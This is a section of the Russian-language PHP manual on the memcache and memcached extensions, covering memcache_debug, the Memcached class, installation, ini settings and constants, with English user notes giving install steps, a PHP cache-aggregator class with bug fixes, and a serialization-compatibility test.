        return $conn->increment($key, $value);
    }

    function decrement($key, $value=1) {
        $conn = &$this->_getConForKey($key);
        return $conn->decrement($key, $value);
    }

    function showStats($server=null) {
        $stats_out = '';
        if($server == null) {
            $i=0;
            foreach($this->connections as $conn) {
                $server = $this->_servers[$i];
                $stats_array = memcache_get_stats($conn);
                $stats_out .= "</br><b>Server: ".$server['host'].": </b><br/>";
                foreach($stats_array as $key => $val) {
                    $stats_out .= "$key => $val <br/>";
                }
                $i++;
            }
        }
        return $stats_out;
    }
}
?>
moazzamk at gmail dot com 18-May-2007 03:25
You can't call parent::__construct() in the constructor of your class if you are extending the memcache class. However, not running the constructor still initiates it and works fine.

<?php

// wrong

class a extends Memcache {
  function __construct($host, $port)
  {
    parent::__construct();
    $this->connect($host, $port);
  }

//correct
class a extends Memcache {
  function __construct($host, $port)
  {
    parent::__construct();
    $this->connect($host, $port);
  }

?>

I am guessing this applies to all native/PECL classes.
gil at squidoo dot com 10-Apr-2007 02:45
There is a tiny bug in the Aggregator class when using the flush() function. The reference to $connections should be $this->connections.

Change:

public function flush() {
  $result = false;
  for ($i = 0; $i < count($connections); $i++) {
    if ($this->connections[$i]->flush()) {
      $result = true;
    }
  }
  return $result;
}

To:

public function flush() {
  $result = false;
  for ($i = 0; $i < count($this->connections); $i++) {
    if ($this->connections[$i]->flush()) {
      $result = true;
    }
  }
  return $result;
}
jcastromail at yahoo dot es 08-Jan-2007 05:28
Hi there:

For run memcached in a windows box: (tested with latest php,apache and memcache in xp sp2)

a) download the php_memcache.dll it can be found in the pecl file.

b) put the dll in the extension folder (c:/php/extension for example). You cannot miss this folder because they are filled with php*.dll files.  In some cases the extension folder used is the system32, a non-standard way to put dll but still works.

c)configure the php.ini
; i put this like the latest extension
extension=php_memcache.dll

; i'm not sure about this but don't hurts..
[Memcache]
memcache.allow_failover = 1
memcache.max_failover_attempts=20
memcache.chunk_size =8192
memcache.default_port = 11211

d)This is important, memcached works with a EXTERNAL service. This service must be downloaded and installed prior to use the memcache.  I use:  http://jehiah.cz/projects/memcached-win32/

e)Remember to install the service and to start the service memcached.exe -d install for install and run services.msc for start the memcached service (or restart the system).

f) check the firewall ports.

Finally restart the apache/iis and runs some test. At least in phpinfo must show some info about the memcache.

Final notes :The "awe" about memcache is not only can help for speed some process (or reduce the cpu use), also can be used like a global session for store a whole object also this "global session" is shared among all the users, like APPLICATION used in ASP.  So (for example) it's possible to do a user counter without needing of database or writing a file.
ed at me3inc dot com 26-Oct-2006 02:47
Re. Installing the memcache extension:

I had all kinds of troubles getting it hooked up, because in all of the instructions I read I never got the last, most important step - you must have a php.ini and have in it "extension=memcache.so."

So, the steps:
First - ./configure with --enable-memcache. This should show in your phpinfo() at the top (even though nothing of the memcache extension works yet).

Second:
either pecl install memcache
OR
download the source
tar -xzvf [thesourcetarball]
phpize
./configure
make
make install

Finally: Add extension=memcache.so to your php.ini. (If you don't have one, it should go in the root of where php is called ie., /usr/local/lib)

Call phpinfo() and you should see a memcache section.
iliya at pisem dot net 19-Jan-2006 12:35
one more "intelligent" cache aggregator:
https://svn.shadanakar.org/onPHP/ trunk/core/Cache/AggregateCache.class.php
can be used with several cache connectors - memcached, filesystem, etc.
(remove whitespace manually)
Ron 14-Sep-2005 01:19
An improvement to the above:

The above class will cause an error if all cache servers are down.  The preferred behavior is to just have a cache miss (or take no action in the case of write operations) and return false, so the app can run in non-cached mode if all cache servers are down.

To make this happen, simply change the connection usage to look something like this in each affected function.  This code is for the get() function:

        $con = $this->_getConForKey($key);
        if ($con === false) return false;
        return $con->get($key);

Similarly, the affected code in the set() function would look like this:
    $con = $this->_getConForKey($key);
    if ($con === false) return false;
    return $con->set($key, $var, $compress, $expire);

Modify each function accordingly, and if all of your cache servers are down, you can still function (although more slowly due to the 100% cache miss rate).
Ron 14-Sep-2005 10:20
Here is a simple memcached aggregator class which distributes the cache among multiple cache servers.  If a server fails, the load is redistributed automatically.  It uses persistent connections.

The constructor takes an array of arrays, with each inner array representing a server, with a 'server' (string) attribute that is the IP addres or host name of the memcached server, and a 'port' (int) attribute that is the port number on which memcached is running on the server.

All of the existing memcached API functions are implemented except getStats() and getVersion(), which are server-specific.

<?php
class MemcachedAggregator {
    var $connections;

    public function __construct($servers) {
    // Attempt to establish/retrieve persistent connections to all servers.
    // If any of them fail, they just don't get put into our list of active
    // connections.
    $this->connections = array();
    for ($i = 0, $n = count($servers); $i < $n; $i++) {
        $server = $servers[$i];
        $con = memcache_pconnect($server['host'], $server['port']);
        if (!($con == false)) {
        $this->connections[] = $con;
        }
    }
    }

    private function _getConForKey($key) {
    $hashCode = 0;
    for ($i = 0, $len = strlen($key); $i < $len; $i++) {
        $hashCode = (int)(($hashCode*33)+ord($key[$i])) & 0x7fffffff;
    }
    if (($ns = count($this->connections)) > 0) {
        return $this->connections[$hashCode%$ns];
    }
    return false;
    }

    public function debug($on_off) {
    $result = false;
    for ($i = 0; $i < count($connections); $i++) {
        if ($this->connections[$i]->debug($on_off)) $result = true;
    }
    return $result;
    }

    public function flush() {
    $result = false;
    for ($i = 0; $i < count($connections); $i++) {
        if ($this->connections[$i]->flush()) $result = true;
    }
    return $result;
    }

/// The following are not implemented:
///getStats()
///getVersion()

    public function get($key) {
    if (is_array($key)) {
        $dest = array();
        foreach ($key as $subkey) {
        $val = get($subkey);
        if (!($val === false)) $dest[$subkey] = $val;
        }
        return $dest;
    } else {
        return $this->_getConForKey($key)->get($key);
    }
    }

    public function set($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->set($key, $var, $compress, $expire);
    }

    public function add($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->add($key, $var, $compress, $expire);
    }

    public function replace($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->replace
        ($key, $var, $compress, $expire);
    }

    public function delete($key, $timeout=0) {
    return $this->_getConForKey($key)->delete($key, $timeout);
    }

    public function increment($key, $value=1) {
    return $this->_getConForKey($key)->increment($key, $value);
    }

    public function decrement($key, $value=1) {
    return $this->_getConForKey($key)->decrement($key, $value);
    }

}
?>


Включить/выключить вывод отладочной информации

  • « Функции Memcache
  • Memcached »
  • PHP Manual
  • Функции Memcache
  • Включить/выключить вывод отладочной информации

memcache_debug

(PECL memcache >= 0.2.0)

memcache_debug — Включить/выключить вывод отладочной информации

Описание

memcache_debug(bool $on_off): bool

memcache_debug() включает вывод отладочной информации, если on_off установлен в true и выключает, если в false.

Замечание:

Функция memcache_debug() доступна, только если PHP был собран с использованием опции --enable-debug и в этом случае всегда возвращает true. Иначе вызов этой функции ничего не делает и возвращает false.

Список параметров

on_off

Включает вывод отладочной информации, если установлено в true. Выключает вывод отладочной информации, если установлено в false.

Возвращаемые значения

Возвращает true, если PHP был собран с опцией --enable-debug, иначе - false.

User Contributed Notes

csongor at halmai dot hu 15-Jul-2014 12:43
In PHP 5.5.14 this function returns NULL (not TRUE or FALSE). I have no information about other PHP releases.
markus at buyways dot nl 22-Oct-2009 02:39
This method is deprecated in at least PHP 5.2.6

memcache_debug() [<a href='function.memcache-debug'>function.memcache-debug</a>]: memcache_debug() is deprecated, please use a debugger (like Eclipse + CDT)


Memcached

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Время хранения объекта
  • Функции обратного вызова
    • Функции обратного вызова для результирующего набора
    • Функции обратного вызова сквозного чтения кеша
  • Поддержка сессий
  • Memcached — Класс Memcached
    • Memcached::add — Добавляет элемент с новым ключом
    • Memcached::addByKey — Добавляет новый элемент на заданный сервер
    • Memcached::addServer — Добавляет сервер в пул
    • Memcached::addServers — Добавляет несколько серверов в пул
    • Memcached::append — Добавляет данные к существующей записи
    • Memcached::appendByKey — Добавляет данные к существующей записи на заданном сервере
    • Memcached::cas — Сравнивает и устанавливает значение для записи
    • Memcached::casByKey — Сравнивает и устанавливает значение для записи на конкретном сервере
    • Memcached::__construct — Создаёт экземпляр класса Memcached
    • Memcached::decrement — Уменьшает числовое значение записи
    • Memcached::decrementByKey — Уменьшает числовое значение записи, хранящееся на определённом сервере
    • Memcached::delete — Удаляет запись
    • Memcached::deleteByKey — Удаляет запись с указанного сервера
    • Memcached::deleteMulti — Удаляет несколько записей
    • Memcached::deleteMultiByKey — Удаляет несколько записей с указанного сервера
    • Memcached::fetch — Извлекает следующий результат
    • Memcached::fetchAll — Извлекает все полученные записи
    • Memcached::flush — Аннулирует все записи в кеше
    • Memcached::get — Получение записи
    • Memcached::getAllKeys — Получает все ключи, хранящиеся на серверах
    • Memcached::getByKey — Получает запись с определённого сервера
    • Memcached::getDelayed — Запрашивает несколько записей
    • Memcached::getDelayedByKey — Запрашивает несколько записей с указанного сервера
    • Memcached::getMulti — Получает несколько записей
    • Memcached::getMultiByKey — Получает несколько записей с указанного сервера
    • Memcached::getOption — Получает значение Memcached параметра
    • Memcached::getResultCode — Возвращает результирующий код последней выполненной операции
    • Memcached::getResultMessage — Возвращает сообщение, описывающее результат выполнения последней операции
    • Memcached::getServerByKey — Получает информацию о сервере по ключу
    • Memcached::getServerList — Получает список серверов в пуле
    • Memcached::getStats — Получает статистику о серверах в пуле
    • Memcached::getVersion — Получает информацию о версии серверов в пуле
    • Memcached::increment — Увеличивает числовое значение записи
    • Memcached::incrementByKey — Увеличивает числовое значение записи, хранимой на указанном сервере
    • Memcached::isPersistent — Проверяет используется ли устойчивое соединение с сервером memcache
    • Memcached::isPristine — Проверяет создан ли уже экземпляр класса Memcached
    • Memcached::prepend — Добавляет данные в начало существующей записи
    • Memcached::prependByKey — Добавляет данные в начало существующей записи на указанном сервере
    • Memcached::quit — Закрывает все открытые соединения
    • Memcached::replace — Заменяет существующую запись с указанным ключом
    • Memcached::replaceByKey — Заменяет существующую запись с заданным ключом на указанном сервере
    • Memcached::resetServerList — Очищает список серверов
    • Memcached::set — Сохраняет запись
    • Memcached::setByKey — Сохраняет запись на указанном сервере
    • Memcached::setMulti — Сохраняет несколько записей
    • Memcached::setMultiByKey — Сохраняет несколько записей на указанном сервере
    • Memcached::setOption — Устанавливает значение параметра для Memcached
    • Memcached::setOptions — Устанавливает несколько Memcached параметров
    • Memcached::setSaslAuthData — Устанавливает учётные данные для аутентификации
    • Memcached::touch — Устанавливает новый срок хранения для записи
    • Memcached::touchByKey — Устанавливает новый срок хранения для записи на указанном сервере
  • MemcachedException — Класс MemcachedException

User Contributed Notes

Moradnejad 07-Dec-2020 12:54
## Installing Memcached on Ubuntu

To install Memcached on Ubuntu, go to terminal and type the following commands ?

$sudo apt-get update
$sudo apt-get install memcached

## Confirming Memcached Installation

To confirm if Memcached is installed or not, you need to run the command given below. This command shows that Memcached is running on the default port 11211.

$ps aux | grep memcached

To run Memcached server on a different port, execute the command given below. This command starts the server on the TCP port 11111 and listens on the UDP port 11111 as a daemon process.

$memcached -p 11111 -U 11111 -u user -d

You can run multiple instances of Memcached server through a single installation.
gabriel dot maybrun at demandmedia dot com 04-Sep-2014 11:59
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}
davidt 03-Jan-2013 01:14
The module also supports SASL authentication, it just isn't documented sadly. You'll need to run the following code:

<?php
$m = new Memcached();
$m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
$m->setSaslAuthData("user-1", "pass");
?>

You need to enable the "memcached.use_sasl = 1" ini option for memcached in the php.ini file.
joelhy 22-May-2011 08:27
For those confuse about the memcached extension and the memcache extension, the short story is that both of them are clients of memcached server, and the memcached extension offer more features than the memcache extension.


Введение

» Memcached - это высокопроизводительная и распределённая система кеширования любых объектов в памяти, предназначенная в первую очередь для ускорения динамических веб-приложений за счёт снижения нагрузки на базу данных.

Модуль, используя библиотеку libmemcached, предоставляет API для связи с серверами memcached. Он также предоставляет обработчик для хранения сессий в (memcached).

Информацию о libmemcached можно найти здесь: » http://libmemcached.org/libMemcached.html.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Этот модуль требует наличие библиотеки » libmemcached (версии 1.0.0 и новее). Для поддержки SASL аутентификации, libmemcached должен быть собран с включённым SASL.

С версии 0.2.0 этот модуль требует PHP версии 5.2.0 или новее.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/memcached.

Если libmemcached установлена в нестандартной директории, используйте опцию --with-libmemcached-dir=DIR, где DIR - это директория, куда установлен libmemcached. Эта директория должна содержать файл include/libmemcached/memcached.h.

Библиотека Zlib необходима для поддержки сжатия. Для указания нестандартного расположения Zlib используйте ключ --with-zlib-dir=DIR, где DIR - это директория установки Zlib.

Поддержка обработчика сессий включена по умолчанию. Для её отключения используйте ключ --disable-memcached-session.

Поддержка SASL аутентификации по умолчанию отключена. Для её включения используйте ключ --enable-memcached-sasl. Для этого также требуется установленная библиотека libsasl2 и чтобы libmemcached был собран с включённой поддержкой SASL.

User Contributed Notes

info at kgsw dot de 19-Jun-2019 08:35
For PHP 7 seems to work:

    $ sudo apt-get install memcached
    $ sudo apt-get install php-memcached
    $ sudo apachectl graceful

## php 7.2.19 / ubuntu 18.04.1

$mc = new Memcached();
$mc->addServer("localhost", 11211);
...
qeremy [at] gmail [dot] com 21-Feb-2012 09:32
Do not lose your time to install it on Ubuntu just trying "sudo apt-get install php5-memcached". There is something you need to do that sure installing memcached. Anyway...

Step 1.
$ sudo apt-get install memcached
Step 2.
$ sudo apt-get install php5-memcached
Step 3.
$ sudo /etc/init.d/apache2 restart

Ready!

What about some test?

<?php
error_reporting(E_ALL & ~E_NOTICE);

$mc = new Memcached();
$mc->addServer("localhost", 11211);

$mc->set("foo", "Hello!");
$mc->set("bar", "Memcached...");

$arr = array(
    $mc->get("foo"),
    $mc->get("bar")
);
var_dump($arr);
?>

Hoping to help someone.
~Kerem
petermiller1986 att gmail dotttttttt com 11-Feb-2012 07:09
i'm planning on using membase for my website and i was really struggling to install the memcashed php client on ubuntu with pear, but actually there is an easier way:

$ sudo apt-get install php5-memcached

you dont even need to install the membase server first - this can be done afterwards. hope this helps someone!
gpuk at dasserver dot com 02-Mar-2010 01:50
At present memcached-1.0.0 does not compile with libmemcached-0.38. This is apparently due to libmemcached chaning the API.

For evidence, see this bug: http://pecl.php.net/bugs/bug.php?id=17070

Note: I am encountering the same 'memcached_st' has no member named 'hash' error on a Debian lenny amd_64 box.
Clint Priest 09-Nov-2009 10:53
If your server has --enable-json=shared as mine did, this extension requires you to have extension=json.so to load properly.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Memcached
Имя | По умолчанию | Место изменения | Список изменений
memcached.sess_locking | On | PHP_INI_ALL | Доступно с memcached 0.1.0.
memcached.sess_consistent_hash | On | PHP_INI_ALL | Доступно с memcached 2.1.0. Значение по умолчанию — On, начиная с memcached 3.0.0.
memcached.sess_binary | Off | PHP_INI_ALL | Доступно с memcached 2.0.0. Заменено на memcached.sess_binary_protocol в memcached 3.0.0.
memcached.sess_lock_wait | 150000 | PHP_INI_ALL | Доступно с memcached 0.1.0. Удалено в memcached 3.0.0.
memcached.sess_prefix | memc.sess.key. | PHP_INI_ALL | Доступно с memcached 0.1.0.
memcached.sess_number_of_replicas | 0 | PHP_INI_ALL | Доступно с memcached 2.1.0.
memcached.sess_randomize_replica_read | Off | PHP_INI_ALL | Доступно с memcached 2.1.0.
memcached.sess_remove_failed | On | PHP_INI_ALL | Доступно с memcached 2.1.0. Заменено на memcached.sess_remove_failed_servers в memcached 3.0.0.
memcached.compression_type | fastlz | PHP_INI_ALL | Доступно с memcached 0.1.0.
memcached.compression_factor | 1.3 | PHP_INI_ALL | Доступно с memcached 0.1.0.
memcached.compression_threshold | 2000 | PHP_INI_ALL | Доступно с memcached 0.1.0.
memcached.serializer | igbinary | PHP_INI_ALL | Доступно с memcached 0.1.0.
memcached.use_sasl | Off | PHP_INI_SYSTEM | Доступно с memcached 2.2.0. Удалено в memcached 3.0.0.
memcached.default_binary_protocol | Off | PHP_INI_ALL | Доступно с memcached 3.0.0.
memcached.default_connect_timeout | 0 | PHP_INI_ALL | Доступно с memcached 3.0.0.
memcached.default_consistent_hash | Off | PHP_INI_ALL | Доступно с memcached 3.0.0.
memcached.sess_binary_protocol | On | PHP_INI_ALL | Доступно с memcached 3.0.0. Заменено на memcached.sess_binary.
memcached.sess_connect_timeout | 1000 | PHP_INI_ALL | Доступно с memcached 2.2.0.
memcached.sess_consistent_hash_type | ketama | PHP_INI_ALL | Доступно с memcached 3.1.0.
memcached.sess_lock_expire | 0 | PHP_INI_ALL | Доступно с memcached 2.2.0.
memcached.sess_lock_retries | 5 | PHP_INI_ALL | Доступно с memcached 3.0.0.
memcached.sess_lock_wait_max | 150 | PHP_INI_ALL | Доступно с memcached 3.0.0. Значение по умолчанию 150 с memcached 3.1.0 (предыдущее значение 2000).
memcached.sess_lock_wait_min | 150 | PHP_INI_ALL | Доступно с memcached 3.0.0. Значение по умолчанию 150 с memcached 3.1.0 (предыдущее значение 1000).
memcached.sess_persistent | Off | PHP_INI_ALL | Доступно с memcached 3.0.0.
memcached.sess_remove_failed_servers | Off | PHP_INI_ALL | Доступно с memcached 3.0.0. Заменено на memcached.sess_remove_failed.
memcached.sess_server_failure_limit | 0 | PHP_INI_ALL | Доступно с memcached 3.0.0.
memcached.sess_sasl_password | null | PHP_INI_ALL | Доступно с memcached 2.2.0.
memcached.sess_sasl_username | null | PHP_INI_ALL | Доступно с memcached 2.2.0.
memcached.store_retry_count | 0 | PHP_INI_ALL | Доступно с memcached 2.2.0. Значение по умолчанию 0 с memcached 3.2.0 (предыдущее значение 2).

Краткое разъяснение конфигурационных директив.

memcached.sess_locking bool

Использовать блокировку сессий. Допустимые значения: On, Off. По умолчанию — On.

memcached.sess_consistent_hash bool

Если установлено значение On, то для обработки сессий будет использовано согласованное хеширование (libketama). При использовании согласованного хеширования можно добавлять или удалять узлы кеширования без больших потерь кешированных ключей. По умолчанию — On.

memcached.sess_binary bool

Использовать бинарный режим сессии. Реплики модуля libmemcached работают только если включён этот режим. По умолчанию — Off.

memcached.sess_lock_wait int

Время ожидания повторной синхронизации сессии в микросекундах. При установке этого значения нужно быть осторожным. Допустимы целочисленные значения. Если установлено значене 0, то будет использовано значение по умолчанию. Отрицательные значения уменьшают блокировку попытки блокировки. По умолчанию — 150000.

memcached.sess_prefix string

Префикс ключа сессии. Строка длиной не более 219 байтов. По умолчанию — memc.sess.key.

memcached.sess_number_of_replicas int

Записывать данные на ряд дополнительных серверов memcached. Это «высокая доступность для бедняков», как её называет модуль libmemcached. Если это значение положительное и активирован режим sessions_remove_failed_servers, когда сервер memcached выходит из строя, сессия будет по-прежнему доступна из реплики. Однако, если отказавший сервер memcache снова становится доступным, он будет читать сессию оттуда, которая может иметь старые данные или вообще не иметь данных. По умолчанию — 0.

memcached.sess_randomize_replica_read bool

Случайное чтение реплики memcached сессией.

memcached.sess_remove_failed int

Разрешить автоматическое удаление недоступных серверов memcached.

memcached.compression_type string

Настройка типа сжатия, корректные значения: fastlz, zlib. По умолчанию — fastlz.

memcached.compression_factor float

Коэффициент сжатия. Хранить значения сжатыми только если коэффициент сжатия превышает заданный. Храним сжатым, если: plain_len > comp_len * factor. По умолчанию — 1.3 (экономия места 23 %).

memcached.compression_threshold int

Порог сжатия. Не сжимать сериализованные значения меньше указанного размера. По умолчанию 2000 байтов.

memcached.serializer string

Устанавливает сериализатор по умолчанию для новых объектов memcached. Допустимые значения: php, igbinary, json, json_array, msgpack.

json

Стандартное для PHP кодирование в формат JSON. Этот сериализатор быстрый и компактный, но работает только с данными в кодировке UTF-8, и не полностью реализует сериализацию. Подробнее об этом рассказано в описании модуля JSON. Доступно с memcached 0.2.0.

json_array

Тот же json, но декодируется в массивы. Доступно с memcached 2.0.0.

php

Стандартный сериализатор PHP.

igbinary

Бинарный сериализатор. Доступно с memcached 0.1.4

msgpack

Межъязыковой двоичный сериализатор. Доступно с memcached 2.2.0.

По умолчанию igbinary, если доступен, затем igbinary, если доступен, иначе PHP.

memcached.use_sasl bool

Использовать аутентификацию SASL при соединении. Допустимые значения: On, Off. По умолчанию — Off.

memcached.default_binary_protocol bool

Устанавливает протокол memcached по умолчанию для новых подключений. (Чтобы настроить протокол memcached для соединений, используемых сессиями, вместо нее используют директиву memcached.sess_binary_protocol.) Если установлено значение On, по умолчанию будет использован двоичный протокол memcached. Если установлено значение Off, будет использован текстовый протокол memcached. По умолчанию — Off.

memcached.default_connect_timeout int

Устанавливает время ожидания соединения memcached по умолчанию для новых соединений. (Чтобы настроить время ожидания соединения memcached для сессий, вместо этого используют memcached.sess_connect_timeout.) В неблокирующем режиме это изменяет значение времени ожидания во время подключения к сокету в миллисекундах. Указание -1 означает бесконечное время ожидания. Указание 0 означает использование времени ожидания соединения по умолчанию для библиотеки memcached. По умолчанию — 0.

memcached.default_consistent_hash bool

Устанавливает значение по умолчанию для согласованного хеширования для новых подключений. (Чтобы настроить согласованное хеширование для сессий, вместо этого используют memcached.sess_consistent_hash.) Если установлено значение On, для обработки сессии используется согласованное хеширование (libketama). Когда используется согласованное хеширование, можно добавлять или удалять узлы кеша, не беспокоясь о том, что существующие ключи по умолчанию отключены.

memcached.sess_binary_protocol bool

Использовать двоичный протокол memcached для сессий memcached (вместо текстового протокола). Реплики модуля libmemcached работают, только если включён двоичный режим. Однако некоторые прокси (например, twemproxy) будут работать, только если двоичный протокол отключён. По умолчанию — On с libmemcached 1.0.18 или новее. До libmemcached 1.0.18 значение по умолчанию Off.

Замечание: В более старых версиях php-memcached эта директива была выключена и называлась memcached.sess_binary.

memcached.sess_connect_timeout int

Значение времени ожидания соединения memcached. В неблокирующем режиме это изменяет значение времени ожидания во время соединения сокета в миллисекундах. Указание -1 означает бесконечное время ожидания.

memcached.sess_consistent_hash_type string

Тип согласованного хеширования сессии Memcached. Если установлено значение ketama (по умолчанию для php-memcached 3.x), для обработки сессии используется согласованное хеширование модуля libketama, если установлено значение ketama_weighted (по умолчанию для php-memcached 2.x), для обработки сессии используется взвешенное согласованное хеширование (модуль libketama). По умолчанию — ketama.

memcached.sess_lock_expire int

Время в секундах до того, как должна сработать блокировка. Установка значения 0 приводит к поведению по умолчанию — будет использована PHP-директива max_execution_time. По умолчанию — 0.

memcached.sess_lock_retries int

Количество попыток повторной блокировки блокировки сессии, не включая первую попытку. По умолчанию — 5.

memcached.sess_lock_wait_max int

Максимальное время ожидания в миллисекундах между попытками блокировки сессии. По умолчанию — 150.

memcached.sess_lock_wait_min int

Минимальное время ожидания в миллисекундах между попытками блокировки сессии. Это значение удваивается при каждой попытке блокировки до тех пор, пока не будет достигнуто значение, заданное директивой memcached.sess_lock_wait_max, очередные попытки будут занимать время достигнутого значения. По умолчанию — 150.

memcached.sess_persistent bool

Следует ли повторно использовать соединения memcached, соответствующие значению (значениям) директивы session.save_path после завершения выполнения скрипта. Эту директиву не используют, если определённые настройки (например, настройки SASL, sess_binary_protocol) будут переопределены между запросами. По умолчанию — Off.

memcached.sess_remove_failed_servers bool

Разрешить автоматическое удаление отказавшего сервера memcached. По умолчанию — Off.

Замечание: В предыдущих версиях эта директива называлась memcached.sess_remove_failed.

memcached.sess_server_failure_limit int

Установка большего, чем установленное по умолчанию, значения разрешит удаление сервера после заданного количества непрерывных сбоев подключения. По умолчанию — 0.

memcached.sess_sasl_password string

Пароль сессии SASL. Для включения SASL необходимо указать имя пользователя и пароль.

memcached.sess_sasl_username string

Имя пользователя сессии SASL. Для включения SASL необходимо указать имя пользователя и пароль.

memcached.store_retry_count int

Количество повторных попыток для неудачных команд сохранения. Этот механизм прозрачно переключает на вторичные серверы при сбое операций set/increment/decrement/setMulti на желаемом сервере в среде c множеством серверов. По умолчанию — 2.

User Contributed Notes

Piotr Gabryjeluk 11-Sep-2017 11:12
Apparently in version 3.0.3 the default for memcached.sess_binary_protocol in TRUE. Also note the key is memcached.sess_binary_protocol, not memcached.sess.

Setting memcached.sess_binary_protocol to FALSE is required if you want to save the session to memcached through twemproxy.
senz 06-Mar-2014 01:28
In case, you are wondering why your sessions are "killed" after 1440 seconds, take a look at session.gc_maxlifetime. It's value is used in memcached expiration field according to memcache protocol rules. Also, do not forget about cookie expiration time
adolfoabegg at gmail dot com 15-Dec-2011 09:01
you can get the list of the possible options for the memcached.ini configuration file here:
https://github.com/php-memcached-dev/php-memcached/blob/master/memcached.ini


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Memcached::OPT_COMPRESSION

Разрешает или запрещает сжатие данных. Если разрешено, то записи длиннее определённого порога (обычно 100 байт) будут прозрачно сжиматься при сохранении и разжиматься при извлечении.

Тип: bool, по умолчанию: true.

Memcached::OPT_SERIALIZER

Задаёт сериализатор для сериализации не скалярных значений. Корректными значениями являются Memcached::SERIALIZER_PHP и Memcached::SERIALIZER_IGBINARY. Последний допустим, только если memcached собран с опцией --enable-memcached-igbinary и загружен модуль igbinary.

Тип: int, по умолчанию: Memcached::SERIALIZER_PHP.

Memcached::SERIALIZER_PHP

Сериализатор PHP по умолчанию.

Memcached::SERIALIZER_IGBINARY

Сериализатор » igbinary. Вместо текстового представления он сохраняет данные в компактном бинарном формате, что даёт выигрыш в размере и скорости работы.

Memcached::SERIALIZER_JSON

Сериализатор JSON.

Memcached::OPT_PREFIX_KEY

Используется для создания "домена" для ваших ключей. Заданное здесь значение будет использоваться в качестве префикса для всех ключей. Значение не может быть длиннее 128 символов и, соответственно, максимальная длина ключей будет уменьшена. Префикс применяется только для обычных ключей, но не для серверных ключей.

Тип: string, по умолчанию: "".

Memcached::OPT_HASH

Задаёт алгоритм хеширования для ключей. Можно задавать константами Memcached::HASH_*. Каждый алгоритм хеширования имеет свои достоинства и недостатки. Используйте значение по умолчанию, если не уверены или вам всё равно.

Тип: int, по умолчанию: Memcached::HASH_DEFAULT

Memcached::HASH_DEFAULT

Алгоритм хеширования ключей по умолчанию (Jenkins one-at-a-time).

Memcached::HASH_MD5

Алгоритм хеширования ключей MD5.

Memcached::HASH_CRC

Алгоритм хеширования ключей CRC.

Memcached::HASH_FNV1_64

Алгоритм хеширования ключей FNV1_64.

Memcached::HASH_FNV1A_64

Алгоритм хеширования ключей FNV1_64A.

Memcached::HASH_FNV1_32

Алгоритм хеширования ключей FNV1_32.

Memcached::HASH_FNV1A_32

Алгоритм хеширования ключей FNV1_32A.

Memcached::HASH_HSIEH

Алгоритм хеширования ключей Hsieh.

Memcached::HASH_MURMUR

Алгоритм хеширования ключей Murmur.

Memcached::OPT_DISTRIBUTION

Задаёт способ распределения ключей по серверам. В данный момент поддерживаются методы модульного и консистентного хеширования. Консистентное хеширование даёт лучшее распределение и позволяет добавлять сервера в кластер с минимальными потерями кеша.

Тип: int, по умолчанию: Memcached::DISTRIBUTION_MODULA.

Memcached::DISTRIBUTION_MODULA

Модульный алгоритм распределения ключей.

Memcached::DISTRIBUTION_CONSISTENT

Алгоритм распределения ключей "Консистентное хеширование" (базируется на libketama).

Memcached::OPT_LIBKETAMA_COMPATIBLE

Включает или отключает совместимость с поведением типа libketama. Если включено, то алгоритм хеширования ключей устанавливается в MD5 и распределение ключей в режим консистентного хеширования на базе весов. Это полезно потому, что другие клиенты с поведением типа libketama (Python, Ruby и т.д.) с такими же настройками сервера смогут получить прозрачный доступ к ключам.

Замечание:

Крайне рекомендуется включить эту опцию если вы хотите использовать консистентное хеширование. Кроме того, она может быть включена по умолчанию в следующих релизах.

Тип: bool, по умолчанию: false.

Memcached::OPT_BUFFER_WRITES

Включает или отключает буферизованный ввод/вывод. Включение буферизации приводит к буферизации команд хранилищу вместо моментальной отправки. Любое действие по извлечению данных приведёт к немедленной отправке буфера на удалённый сервер. Выход или закрытие соединения также приводит к немедленной отправке буфера.

Тип: bool, по умолчанию: false.

Memcached::OPT_BINARY_PROTOCOL

Включает использование бинарного протокола. Учтите, что на уже открытом соединении включить данную опцию не получится.

Тип: bool, по умолчанию: false.

Memcached::OPT_NO_BLOCK

Включает или отключает асинхронный ввод/вывод. Это самый быстрый транспорт для функций хранения.

Тип: bool, по умолчанию: false.

Memcached::OPT_NOREPLY

Включает или отключает игнорирование результата функций хранения (set, add, replace, append, prepend, delete, increment, decrement и т.д.). Функции хранения будут отправлены, не тратя время на ожидание ответа (ответа не будет). Этот параметр не влияет на команды извлечения, такие как Memcached::get().

Тип: bool, по умолчанию: false.

Memcached::OPT_TCP_NODELAY

Включает или отключает опцию no-delay для сокетов соединения (в некоторых случаях может дать прирост скорости).

